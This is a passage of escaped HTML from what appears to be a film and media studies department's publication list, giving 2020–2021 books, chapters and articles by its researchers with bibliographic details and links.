Bruckner; Juergen, Hagler; Holger, Lang; Maike Sarah, Reinerth (Ed.): <i>In Wirklichkeit Animation \u2026<\/i>, Wiesbaden: Springer VS, 2021, pp. 171\u2013186, <a href=\"https:\/\/doi.org\/10.1007\/978-3-658-33287-7\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Philipp Dominik Keidl:<br \/>\n<b>Gatekeeping the Past: Fandom and the Gendered Cultural Memory of Star Wars<\/b>, in: Linda Mizejewski and Tanya D. Zuk (Hg.),\u00a0<i>Our Blessed Rebel Queen: Carrie Fisher and Princess Leia<\/i>, Detroit: Wayne State University Press, 2021, pp. 52-82.<\/li>\n<li><span style=\"font-weight: 400;\">Philipp Dominik Keidl:<br \/>\n<\/span><span style=\"font-weight: 400;\"><b>The Labor of Curating: Fandom, Museums, and the Value of Fan Heritage<\/b>, in: <i>The Journal of Popular Culture, <\/i>19 (3) 2021, pp. 407-431.\u00a0<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Philipp Dominik Keidl:<br \/>\n<\/span><span style=\"font-weight: 400;\"><b>Research Prompt: Sex-Ed.<\/b>, Canadian Educational, Sponsored, and Industrial Film Project\u00a0<a href=\"http:\/\/www.screenculture.org\/cesif\/research-prompt-1-sex-ed\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener <\/span><span style=\"font-weight: 400;\">[Sektionsherausgeber \/ section editor]:<br \/>\n<strong>Media Archaeology<\/strong>, pp. 283-389; [Gesamtherausgeber: Joshua Malitsky] <\/span><i><span style=\"font-weight: 400;\">A Companion to Documentary Film History. <\/span><\/i><span style=\"font-weight: 400;\">Chichester: Wiley Blackwell 2021.<\/span><\/li>\n<\/ul>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener,<\/span><span style=\"font-weight: 400;\"> Sven Opitz, Andrea Wiegeshoff:<br \/>\n<\/span><b>Das Marburg-Virus: Zur Vorgeschichte globaler Gesundheitssicherheit<\/b><span style=\"font-weight: 400;\">. In: Christian Kleinschmidt (Hg.):<\/span><i><span style=\"font-weight: 400;\"> Seuchenbek\u00e4mpfung, Wissenschaft und Unternehmensstrategien. Die Behringwerke und Philipps-Universit\u00e4t Marburg im 20. Jahrhundert. <\/span><\/i><span style=\"font-weight: 400;\">Darmstadt und Marburg: Selbstverlag der Hessischen Historischen Kommission und der Historischen Kommission f\u00fcr Hessen 2021: 219-233.<\/span><\/li>\n<\/ul>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener:<br \/>\n<\/span><b>Different Films, Different Practices: Practice, Boundary Objects, and the European Interwar Film Avant-Garde<\/b><span style=\"font-weight: 400;\">. In: Mats J\u00f6nsson, Louise Wolthers, Miclas \u00d6stlind (Hg.):<\/span><i><span style=\"font-weight: 400;\"> Thresholds. Interwar Lens Media Cultures 1919-1939. <\/span><\/i><span style=\"font-weight: 400;\">K\u00f6ln: Verlag der Buchhandlung Walther und Franz K\u00f6nig 2021: 24-39.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Malte Hagener:<br \/>\n<\/span><b>Introduction <\/b><span style=\"font-weight: 400;\">[Sektion \u201cMedia Archaeology\u201d]. In: Joshua Malitsky (Hg.): <\/span><i><span style=\"font-weight: 400;\">A Companion to Documentary Film History. <\/span><\/i><span style=\"font-weight: 400;\">Chichester: Wiley Blackwell 2021: 285-289.<\/span><\/li>\n<\/ul>\n<ul>\n<li>Verena Mund:<br \/>\n<b>Working Girls gibt&#8217;s viele\u00a0 \/\u00a0 Working Girls Aplenty<\/b><span style=\"font-weight: 400;\">,\u00a0 in: Gaby Babic , Heide Schl\u00fcpmann (eds.), &#8230; weil nur z\u00e4hlt, was Geld einbringt: Frauen, Arbeit und Film \/ It Only Counts if It Brings in Money: Women, Work, and Film (Publikation zu <\/span><i><span style=\"font-weight: 400;\">Remake<\/span><\/i><span style=\"font-weight: 400;\">. Frankfurter Frauen Film Tage 2021), Frankfurt a.M.: Kinothek Asta Nielsen e.V. 2021, 84-88\u00a0 \/ 225-229.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Verena Mund:<br \/>\n<\/span><b>Br\u00fccke, Switchboard, Theke \u2013 Working Girls vor Ort<\/b><i><span style=\"font-weight: 400;\">,<\/span><\/i><span style=\"font-weight: 400;\"> Bielefeld: transcript 2021,<\/span><span style=\"font-weight: 400;\">\u00a0<a href=\"https:\/\/www.transcript-verlag.de\/978-3-8376-5608-4\/bruecke-switchboard-theke-working-girls-vor-ort\/?number=978-3-8394-5608-8\">Link.<\/a><\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Laura Laabs:<br \/>\n<\/span><b>Von flei\u00dfigen Bienen und aufm\u00fcpfigen Alpakas. Aspekte der Arbeit im und am Echtzeitstrategiespiel <\/b><b><i>Age of Empires II<\/i><\/b><span style=\"font-weight: 400;\">, in:<\/span> <i><span style=\"font-weight: 400;\">Paidia. Zeitschrift f\u00fcr Computerspielforschung, <\/span><\/i><span style=\"font-weight: 400;\">special issue \u201cMarx und das Computerspiel\u201d, 21.01.2021,\u00a0<a href=\"https:\/\/www.paidia.de\/von-fleissigen-bienen-und-aufmuepfigen-alpakas-aspekte-der-arbeit-im-und-am-echtzeitstrategiespiel-age-of-empires-ii\/\">Link<\/a>.\u00a0<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Laura Laabs:<br \/>\n<\/span><b>Symptome des Systems. (In-)Stabile K\u00f6rper in <\/b><b><i>Making a Murderer <\/i><\/b><b>und <\/b><b><i>The Staircase<\/i><\/b><span style=\"font-weight: 400;\">, in:<\/span> <i><span style=\"font-weight: 400;\">ffk Journal <\/span><\/i><span style=\"font-weight: 400;\">(6) 2021, pp. 341\u2013360, <a href=\"http:\/\/www.ffk-journal.de\/?journal=ffk-journal&amp;page=article&amp;op=view&amp;path%5B%5D=155\">Link<\/a><\/span><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> Laura Laabs; Franziska Ascher; Johanna Lindner:<br \/>\n<\/span><b>Tagungsbericht: Spielzeichen IV \u2013 Genres. 18.\u201320. M\u00e4rz 2021 (Passau\/online)<\/b><span style=\"font-weight: 400;\">, in:<\/span> <i><span style=\"font-weight: 400;\">Paidia. Zeitschrift f\u00fcr Computerspielforschung, <\/span><\/i><span style=\"font-weight: 400;\">31.03.2021, <a href=\"https:\/\/www.paidia.de\/tagungsbericht-spielzeichen-iv-genres-18-20-maerz-2021-passau-online\/\">Link<\/a>.<\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Yvonne Zimmermann:<\/span><b><br \/>\n<\/b><b>Film and Diplomacy: Embassies and the Global Circulation of Lens Media in the Interwar Period<\/b><span style=\"font-weight: 400;\">, in: Mats J\u00f6nsson; Louise Wolthers; Niclas \u00d6stlind (eds.): <\/span><i><span style=\"font-weight: 400;\">Thresholds: Interwar Lens Media Cultures 1911-1939<\/span><\/i><span style=\"font-weight: 400;\">, K\u00f6ln: Walther und Franz K\u00f6nig, 2021, pp. 320-329, <a href=\"https:\/\/www.buchhandlung-walther-koenig.de\/koenig2\/index.php?mode=details&amp;showcase=3&amp;art=1624276\">Link.<\/a><\/span><\/li>\n<li>Yvonne Zimmermann:<br \/>\n<b>Hans Richter and the <\/b><b><i>Filmessay<\/i><\/b><b>: A Media Archaeological Case Study of Documentary Film History and Historiography<\/b>, in: Joshua Malitsky (ed.): <i>A Companion to Documentary Film History<\/i>, Hoboken: Wiley Blackwell, 2021, pp. 367-389, <a href=\"https:\/\/doi.org\/10.1002\/9781119116172.ch16\">Link.\u00a0<\/a><\/li>\n<li><span style=\"font-weight: 400;\">Yvonne Zimmermann; Bo Florian; Patrick Vonderau:<br \/>\n<\/span><b>Advertising and the Transformation of Screen Cultures<\/b><span style=\"font-weight: 400;\">, Amsterdam: Amsterdam University Press, 2021, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789462989153\/advertising-and-the-transformation-of-screen-cultures\">Link. <\/a><\/span><a href=\"https:\/\/library.oapen.org\/handle\/20.500.12657\/50158\"><span style=\"font-weight: 400;\">Open Access.<\/span><\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Yvonne Zimmermann (ed.): <\/span><b><i>Asta Nielsen, the Film Star System and the Introduction of the Long Feature Film<\/i><\/b><span style=\"font-weight: 400;\">, Special Issue of <\/span><i><span style=\"font-weight: 400;\">Early Popular Visual Culture<\/span><\/i><span style=\"font-weight: 400;\">, 3 (19) 2021, <a href=\"https:\/\/www.tandfonline.com\/toc\/repv20\/19\/2-3\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Yvonne Zimmermann: <\/span><b>Asta Nielsen, the Film Star System and the Introduction of the Long Feature Film<\/b><span style=\"font-weight: 400;\">, in: <\/span><i><span style=\"font-weight: 400;\">Early Popular Visual Culture<\/span><\/i><span style=\"font-weight: 400;\">, 2-3 (19) 2021, pp.107-120, <a href=\"https:\/\/doi.org\/10.1080\/17460654.2022.2059833\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Daniel Fairfax:<br \/>\n<b>The Red Years of Cahiers du cin\u00e9ma (1968-1973). Volume I: Ideology and Politics<\/b>, Amsterdam: Amsterdam University Press, 2021, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789463721011\/the-red-years-of-cahiers-du-cinema-1968-1973\">Link.<\/a><\/span><\/span><\/span><\/span><\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Daniel Fairfax:<br \/>\n<b>The Red Years of Cahiers du cin\u00e9ma (1968-1973). Volume II: Aesthetics and Ontology<\/b>, Amsterdam: Amsterdam University Press, 2021, <a href=\"https:\/\/www.aup.nl\/en\/book\/9789463721011\/the-red-years-of-cahiers-du-cinema-1968-1973\">Link.<\/a><\/li>\n<\/ul>\n<ul>\n<li><span style=\"font-weight: 400;\">Wanda Strauven:<br \/>\n<\/span><b>Touchscreen Archaeology: Tracing Histories of Hands-on Media Practices<\/b><span style=\"font-weight: 400;\">, L\u00fcneburg: meson press, 2021, <a href=\"https:\/\/meson.press\/books\/touchscreen-archaeology\/\">Link.<\/a><\/span><\/li>\n<li>Wanda Strauven; Alexandra Schneider:<br \/>\n<b>Orphaned Films: Digital Film Practices by Today\u2019s Children<\/b><span style=\"font-weight: 400;\">, in: <\/span><i><span style=\"font-weight: 400;\">Revista Digital do Laborat\u00f3rio de Artes Visuais<\/span><\/i><span style=\"font-weight: 400;\">, 14 (2) 2021, pp. 208-228, <a href=\"https:\/\/periodicos.ufsm.br\/revislav\/article\/view\/67339\/pdf\">Link.<\/a><\/span><\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2020<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Amrita Biswas:<br \/>\n<\/span><b>Mapping Mutations: Tracing the Travel of a Viral Image<\/b><span style=\"font-weight: 400;\">, in: Laliv Melamed, Philipp Dominik Keidl, Vinzenz Hediger and Antonio Somaini (eds.), <\/span><i><span style=\"font-weight: 400;\">Pandemic Media: Notes Toward an Inventory<\/span><\/i><span style=\"font-weight: 400;\">, Meson Press, 2020, pp. 322-329, <a href=\"https:\/\/meson.press\/wp-content\/uploads\/2022\/07\/9783957960092_Pandemic_Media.pdf\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Philipp Dominik Keidl:<br \/>\n<\/span><b>Behind-the-(Museum)Scenes: Fan-curated Exhibitions as Tourist Attractions<\/b><span style=\"font-weight: 400;\">, in: Maria Ma\u030ansson, Anne Buchmann, Cecilia Cassinger and Lena Eskilsson (Hg.), <\/span><i><span style=\"font-weight: 400;\">The Routledge Companion to Media and Tourism<\/span><\/i><span style=\"font-weight: 400;\">, Routledge, 2020, S. 297\u2013306.<\/span><\/li>\n<\/ul>\n<ul>\n<li><span style=\"font-weight: 400;\">Christian Alexius:<br \/>\n<\/span><b>Der Humanismus, die Masken und das Ideal wahrer Sch\u00f6nheit. Von den Gesichtern in <\/b><b><i>La grande bellezza<\/i><\/b><b> und anderen Filmen Paolo Sorrentinos<\/b>, in: Christian Alexius.; Lucas Curst\u00e4dt; Bj\u00f6rn Hayer: <i>Paolo Sorrentino<\/i>. <i>Das Werk eines \u00c4stheten<\/i>, Marburg: B\u00fcchner, 2020, pp. 63\u2013123, <a href=\"https:\/\/www.buechner-verlag.de\/buch\/paolo-sorrentino\/\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Kerim Dogruel:<b><br \/>\nFace Off<\/b><span style=\"font-weight: 400;\">, in: Laliv Melamed, Philipp Dominik Keidl, Vinzenz Hediger and Antonio Somaini (eds.), Pandemic Media: Notes Toward an Inventory, Meson Press, 2020, pp. 279-285, <a href=\"https:\/\/meson.press\/wp-content\/uploads\/2022\/07\/9783957960092_Pandemic_Media.pdf\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Christian Alexius:<br \/>\n<\/span><b>Den Glauben an die Welt mit dem Wahnsinn bezahlen. Reflexionen zum postklassischen Kino<\/b><b>,<\/b><span style=\"font-weight: 400;\"> Baden-Baden: Nomos, 2020, <a href=\"https:\/\/www.nomos-shop.de\/nomos\/titel\/den-glauben-an-die-welt-mit-dem-wahnsinn-bezahlen-id-86887\/\">Link<\/a><\/span><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li>Christian Alexius:<br \/>\n<b>Angriff der Skorpione. <\/b><b><i>L&#8217;\u00e2ge d&#8217;or<\/i><\/b><b> von Luis Bu\u00f1uel und Salvador Dal\u00ed<\/b>, in: Philipp Auchter; Benjamin Eugster; David Grob; Simon Meier; Sarah M\u00f6ller; Heinrich Weingartner; Valentina Zingg (Ed.): <i>Skandal. Cinema 65. Schweizer Filmjahrbuch<\/i>, Marburg: Sch\u00fcren, 2020, pp. 95\u2013106, <a href=\"https:\/\/www.schueren-verlag.de\/programm\/titel\/645-skandal.html\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Laliv Melamed; Philipp Dominik Keidl; Vinzenz Hediger; Antonio Somaini (eds.):<br \/>\n<strong>Pandemic Media: Notes Toward an Inventory<\/strong>, Meson Press, 2020, <a href=\"https:\/\/meson.press\/wp-content\/uploads\/2022\/07\/9783957960092_Pandemic_Media.pdf\">Link.<\/a><\/li>\n<li><span style=\"font-weight: 400;\">Laliv Melamed; Philipp Dominik Keidl:<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b>Pandemic Media: an Introduction<\/b><span style=\"font-weight: 400;\">, in: Laliv Melamed, Philipp Dominik Keidl, Vinzenz Hediger and Antonio Somaini (eds.), <\/span><i><span style=\"font-weight: 400;\">Pandemic Media: Notes Toward an Inventory<\/span><\/i><span style=\"font-weight: 400;\">, Meson Press, 2020, pp. 11-24, <a href=\"https:\/\/meson.press\/wp-content\/uploads\/2022\/07\/9783957960092_Pandemic_Media.pdf\">Link.<\/a><\/span><\/li>\n<li><span style=\"font-weight: 400;\">Laliv Melamed:<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b>Disciplining Aesthetic and Michal Heiman\u2019s Gesture of Return<\/b><span style=\"font-weight: 400;\">, in: <\/span><i><span style=\"font-weight: 400;\">Subject: Unknown: Exhibition Catalogue<\/span><\/i><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">, Stadle Schule, 2020.<\/span><\/span><\/span><\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Laliv Melamed:<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b>Seeking an Advice: A Political Economy of Israeli Home Videos<\/b><span style=\"font-weight: 400;\">, in: Enrique Fibla and Masha Salazkina (eds.), <\/span><i><span style=\"font-weight: 400;\">A Global History of Amateur Film Cultures<\/span><\/i><span style=\"font-weight: 400;\">, Indianapolis: Indiana University Press 2021, pp. 95-111.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Laliv Melamed:<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b>Society for Sick societies: Media Itineraries (episode 1)<\/b><span style=\"font-weight: 400;\">, <\/span><i><span style=\"font-weight: 400;\">Social Text <\/span><\/i><span style=\"font-weight: 400;\">(online) 2020, <a href=\"https:\/\/socialtextjournal.org\/periscope_article\/society-for-sick-societies-media-itineraries\/\">Link<\/a>.<\/span><\/li>\n<li>Laliv Melamed:<br \/>\n<b>Everyday Souvenirs. On the Work of Maya Schweizer<\/b>, in: Internationale Kurzfilmtage Oberhausen GmbH, 2020.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Verena Mund:<br \/>\n<b>Blumen und Tabak. Tischgesellschaften in <\/b><b><i>Amour Fou <\/i><\/b><b>und<\/b><b><i> Western<\/i><\/b>, in: Isabella Reicher (ed.), <em>Eine eigene Geschichte. Frauen Film \u00d6sterreich seit 1999<\/em>, Wien: Sonderzahl, 2020, pp. 50-57.<\/li>\n<li>Antoine Pr\u00e9vost-Balga:<br \/>\n<strong>\u201cAtomic Explosion Stopped at Millionths of A Second\u201d: Media Microtemporalities and Time Synchronisation<\/strong>, in: <em>Cinergie. Il Cinema e le altre arti <\/em>n\u00b017, 2020, pp. 173-182, <a href=\"https:\/\/cinergie.unibo.it\/article\/view\/10328\">Link.<\/a><\/li>\n<li>Rebecca Puchta:<br \/>\n<b>Soft Dissection<\/b>, in: Sebastian Althoff; Elisa Linseisen; Maja-Lisa M\u00fcller; Franziska Winter (ed.):\u00a0<i>Re\/Dissolving Mimesis<\/i>, Paderborn: Wilhelm Fink, 2020, pp. 127-155,\u00a0<a href=\"https:\/\/www.fink.de\/view\/title\/56321.\">Link<\/a><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Marin Reljic:<br \/>\n<b>Virtuelle Klang(t)r\u00e4ume \u2013 kulturelle Abstraktionen und Heimat als fernes Utopia in Bernd Thewes\u2019 Neuvertonung zu Carl Theodor Dreyers Die Gezeichneten (1922)<\/b>, in: Peter W. Schatt (ed.): <em>Musik \u2013 Raum \u2013 Sozialit\u00e4t. Studien zur Musikkultur<\/em>, Volume 1, M\u00fcnster: Waxmann, 2020, pp. 123-145, <a href=\"https:\/\/www.waxmann.com\/waxmann-buecher\/?tx_p2waxmann_pi2%5bbuchnr%5d=4168&amp;tx_p2waxmann_pi2%5baction%5d=show\">Link<\/a>.<\/li>\n<li>Marin Reljic:<br \/>\n<strong>The Joy of Illusions \u2012 Martin Smolka\u2019s Music for DIE PUPPE (THE DOLL) by Ernst Lubitsch (1919)<\/strong>, in:<em> Kieler Beitr\u00e4ge zur Filmmusikforschung<\/em>, 15, 2020, pp. 232\u2013270, <a href=\"http:\/\/www.filmmusik.uni-kiel.de\/KB15\/KB15-Reljic.pdf\">Link<\/a>.<\/li>\n<li>Marc Siegel, Tina Takemoto (ed.):<br \/>\n<b>Douglas Crimp Forum<\/b>,\u00a0<i>Art Journal<\/i> 79 (3) 2020, pp. 8-40.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Marc Siegel:<br \/>\n<b><i>My Levitating Butt<\/i><\/b><b>\u00a0and Other Queer Abstractions<\/b>, in: Julia Bee and Nicole Kandioler (ed.):\u00a0<i>Differenz und Affirmation. Queer\/feministische Positionen zur Medialit\u00e4t<\/i>,\u00a0 Berlin: b_books, 2020, pp. 133-155,\u00a0<a href=\"http:\/\/www.b-books.de\/verlag\/differenzen\/index.html\">Link<\/a>.<\/li>\n<li>Marc Siegel:<br \/>\n<b>The Aged Body in Motion\/Der alternde K\u00f6rper in Bewegung<\/b>, in: Kulturkreis der deutschen Wirtschaft im BDI e.V. (ed.):\u00a0<i>ars viva 2021: Rob Crosse, Sung Tieu, Richard Sides<\/i>, Bielefeld: Kerber Verlag, 2020, pp. 22-31,\u00a0<a href=\"https:\/\/www.kerberverlag.com\/en\/1876\/ars-viva-2021\">Link<\/a>.<\/li>\n<li>Wanda Strauven:<br \/>\n<b>Sewing Machines and Weaving Looms: A Media Archaeological Encounter between Fashion and Film<\/b>, in:\u00a0<i>Journal of Visual Culture<\/i>, 19 (3) 2020, pp. 362\u2013377,\u00a0<a href=\"https:\/\/journals.sagepub.com\/doi\/full\/10.1177\/1470412920964905\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Wanda Strauven, Miriam De Rosa:<br \/>\n<b>Screenic (Re)orientations: Desktop, Tabletop, Tablet, Booklet, Touchscreen, Etc.<\/b>, in: Susanne \u00d8stby S\u00e6ther; Synne Bull (ed.),\u00a0<i>Screen Space Reconfigured<\/i>, Amsterdam: Amsterdam University Press, 2020, pp. 231\u2013262,\u00a0<a href=\"https:\/\/library.oapen.org\/handle\/20.500.12657\/39479\">Link<\/a>.<\/li>\n<li>Wanda Strauven:<br \/>\n<b>Let\u2019s Dance: GIF 1.0 versus GIF 2.0<\/b>, in: Marek Jancovic; Axel Volmar; Alexandra Schneider (ed.):\u00a0<i>Format Matters: Standards, Practices, and Politics in Media and Cultures<\/i>, L\u00fcneburg: Meson Press, 2020, pp. 47\u201363,\u00a0<a href=\"https:\/\/meson.press\/books\/format-matters\/\">Link<\/a>.<\/li>\n<li>Wanda Strauven:<br \/>\n<b>Let\u2019s Go to Oberhausen! Some Notes on an Online Film Festival Experience<\/b>, in: Philipp Dominik Keidl; Laliv Melamed; Vinzenz Hediger; Antonio Somaini (ed.),\u00a0<i>Pandemic Media<\/i>, L\u00fcneburg: Meson Press, 2020,\u00a0<a href=\"https:\/\/meson.press\/books\/pandemic-media\/\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Wanda Strauven:<br \/>\n<b>Medienarch\u00e4ologie nach Thomas Elsaesser: Von der \u201cHermeneutik des Erstaunens\u201d zu \u201cimaginierten Zuk\u00fcnften,\u201d<\/b>\u00a0in:\u00a0<i>Zeitschrift f\u00fcr Medienwissenschaft<\/i>, 22 (2020), pp. 214\u2013218,\u00a0<a href=\"https:\/\/www.zfmedienwissenschaft.de\/heft\/archiv\/22-12020-medium-format\">Link<\/a>.<\/li>\n<li><span style=\"font-weight: 400;\">Wanda Strauven:<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b>The Art of Teaching against the Grain: A Tribute to Thomas Elsaesser\u2019s Media-Archaeological Methods<\/b><span style=\"font-weight: 400;\">, in: <\/span><i><span style=\"font-weight: 400;\">Journal of Early Popular Visual Culture<\/span><\/i><span style=\"font-weight: 400;\">, 18 (4), 2020, pp. 368-382, <a href=\"https:\/\/www.tandfonline.com\/toc\/repv20\/18\/4\">Link.<\/a><\/span><\/li>\n<li>Malte Hagener; Dietmar Kammerer:<br \/>\n<b>Streams Are My Reality. Der Online-Zugang zu Filmen aus Sicht der Filmwissenschaft<\/b>. In: <i>BIBLIOTHEK \u2013 Forschung und Praxis<\/i>, Band 44, Heft 3 (2020): 467-473. (DOI: 10.18452\/22068)<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Malte Hagener; Dietmar Kammerer:<br \/>\n<b>Infrastrukturierung der Filmforschung. Auf dem Weg zu digitalen Forschungsumgebungen im Netz?,<\/b> in: <i>montage\/AV. Zeitschrift f\u00fcr Theorie und Geschichte audiovisueller Kommunikation<\/i>, 29\/01\/2020, pp. 43-57.<\/li>\n<li>Malte Hagener; Sven Opitz; Ute Tellmann [ed.]:<br \/>\n<b><i>Zeitschrift f\u00fcr Medienwissenschaft.<\/i><\/b><i> Nr. 23 (Herbst 2020). <\/i><b><i>Schwerpunkt: Zirkulation.<\/i><\/b> Bielefeld: transcript 2020.<\/li>\n<li>Malte Hagener; Sven Opitz; Ute Tellmann:<br \/>\n<b>Zirkulation. Einleitung in den Schwerpunkt, <\/b>in: <i>Zeitschrift f\u00fcr Medienwissenschaft. Nr. 23 (Herbst 2020). Schwerpunkt: Zirkulation. <\/i>Bielefeld: transcript 2020, pp. 10-18.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Malte Hagener:<br \/>\n<b>Neue Linke und Screen Theory<\/b> <b>(Stephen Heath, Laura Mulvey, Paul Willemen u.a.)<\/b>. In: Ivo Ritzer (ed.):<i> Schl\u00fcsselwerke der Medienwissenschaft. <\/i>Wiesbaden: Springer VS 2020: 69-86.<\/li>\n<li>Malte Hagener, Volker Pantenburg [ed.]:<br \/>\n<b>Handbuch Filmanalyse<\/b><b><i>. <\/i><\/b>Wiesbaden: Springer 2020. 502 p., ill.<\/li>\n<li>Malte Hagener:<br \/>\n<b>Divided, Together, Apart: How Splitscreen Became our Everyday Reality,<\/b> in: Philipp Dominik Keidl, Laliv Melamed, Vinzenz Hediger, Antonio Somaini (ed.):<i> Pandemic Media. Preliminary Notes Towards an Inventory. <\/i>L\u00fcneburg: Meson Press 2020, pp. 32-40, <a href=\"https:\/\/pandemicmedia.meson.press\/chapters\/time-temporality\/divided-together-apart-how-split-screen-became-our-everyday-reality\/\" target=\"_blank\" rel=\"noopener\">Link<\/a>.<\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Malte Hagener:<br \/>\n<b>German Stars since Reunification<\/b>. In: Tim Bergfelder, Erica Carter, Deniz G\u00f6kt\u00fcrk, Claudia Sandberg (ed.): <i>The German Cinema Book<\/i>. (second edition). London: British Film Institute \/ Bloomsbury 2020, pp. 157-165.<\/li>\n<li>Malte Hagener:<br \/>\n<b>Thinking Inside and Outside of the (Black) Box. Bird Box and Netflix\u2019s Algorithmic Operations, in<\/b>: Dominique Chateau, Jos\u00e9 Moure (ed.): <i>Post-Cinema<\/i>. Amsterdam: Amsterdam University Press 2020. (Key Debates; vol. 8), pp. 175-192.<\/li>\n<li><span style=\"font-weight: 400;\">Yvonne Zimmermann:<br \/>\n<\/span><b>Amateur Film in the Factory: Forms and Functions of Amateur Cinema in Corporate Media Culture<\/b><span style=\"font-weight: 400;\">, in: Masha Salazkina; Enrique Fibla-Guit\u00e9rrez (eds.): <\/span><i><span style=\"font-weight: 400;\">Global Perspectives on Amateur Film Histories and Culture<\/span><\/i><span style=\"font-weight: 400;\">, Bloomington: Indiana University Press, 2020, pp. 112-130, <a href=\"https:\/\/iupress.org\/9780253052032\/global-perspectives-on-amateur-film-histories-and-cultures\/\">Link.<\/a><\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li>Yvonne Zimmermann:<br \/>\n<b>Video Conferencing and the Uncanny Encounter with Oneself: Self-Reflexivity as Self-Monitoring 2.0<\/b>, in: Vinzenz Hediger; Philipp Dominik Keidl; Laliv Melamed; Antonio Somaini (eds.): <i>Pandemic Media. Preliminary Notes Toward an Inventory<\/i>, L\u00fcneburg: Meson Press, 2020, pp. 99-103, <a href=\"https:\/\/pandemicmedia.meson.press\/chapters\/space-scale\/video-conferencing-and-the-uncanny-encounter-with-oneself-self-reflexivity-as-self-monitoring-2-0\/\">Link.<\/a><\/li>\n<li><span style=\"font-weight: 400;\">Yvonne Zimmermann; Ludwig Vogl-Bienek: <\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b><i>Paul Hoffmann (1829 \u2013 1888) \u2013 Screen Practitioner and Media Entrepreneur. A Glance at the Practice of a 19<\/i><\/b><b><i>th<\/i><\/b><b><i> Century Lantern Lecturer, Reflected in the Last Available Source of his Professional Career<\/i><\/b><span style=\"font-weight: 400;\">, <a href=\"https:\/\/catima.unil.ch\/sphm2020\/fr\/zimmermannvoglbienek\">video essay<\/a>, 2020.<\/span><\/li>\n<li><span style=\"font-weight: 400;\">Daniel Fairfax:<br \/>\n<\/span><b>Cahiers du cin\u00e9ma and the Front culturel r\u00e9volutionnaire<\/b><span style=\"font-weight: 400;\">, <\/span><i><span style=\"font-weight: 400;\">Zapruder World<\/span><\/i><span style=\"font-weight: 400;\"> vol. 6<\/span><span style=\"font-weight: 400;\">, December 2020, <a href=\"https:\/\/zapruderworld.org\/volume-6\/cahiers-du-cinemas-maoist-turn-and-the-front-culturel-revolutionnaire\/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=cahiers-du-cinemas-maoist-turn-and-the-front-culturel-revolutionnaire\">Link.<\/a><\/span><\/li>\n<\/ul>\n<hr \/>\n<ul>\n<li><span style=\"font-weight: 400;\">Daniel Fairfax:<br \/>\n<\/span><b>A Stranger in the Hotel: Jean-Pierre Oudart and <\/b><b><i>The Shining<\/i><\/b><span style=\"font-weight: 400;\">, <\/span><i><span style=\"font-weight: 400;\">Senses of Cinema, <\/span><\/i><span style=\"font-weight: 400;\">95<\/span><span style=\"font-weight: 400;\">, July 2020, <a href=\"https:\/\/www.sensesofcinema.com\/2020\/the-shining-at-40\/a-stranger-in-the-hotel-jean-pierre-oudart-and-the-shining\/\">Link.<\/a><\/span><\/li>\n<li>Daniel Fairfax:<br \/>\n<b>Founding Father: A Tribute to Thomas Elsaesser (1943-2019)<\/b>,<i> Senses of Cinema,<\/i> 95, July 2020, <a href=\"https:\/\/www.sensesofcinema.com\/2020\/obituary\/founding-father-a-tribute-to-thomas-elsaesser-1943-2019\/\">Link.<\/a><\/li>\n<\/ul>\n<hr \/>\n<hr \/>\n<h3>2019<\/h3>\n<hr \/>\n<hr \/>\n<ul>\n<li>Marie Sophie Beckmann; Rebecca Puchta; Philipp R\u00f6ding:<br \/>\n<strong>Pacing the Airport. Introduction to the Periscope Dossier Pacing Airports<\/strong>, in: <em>Social Text 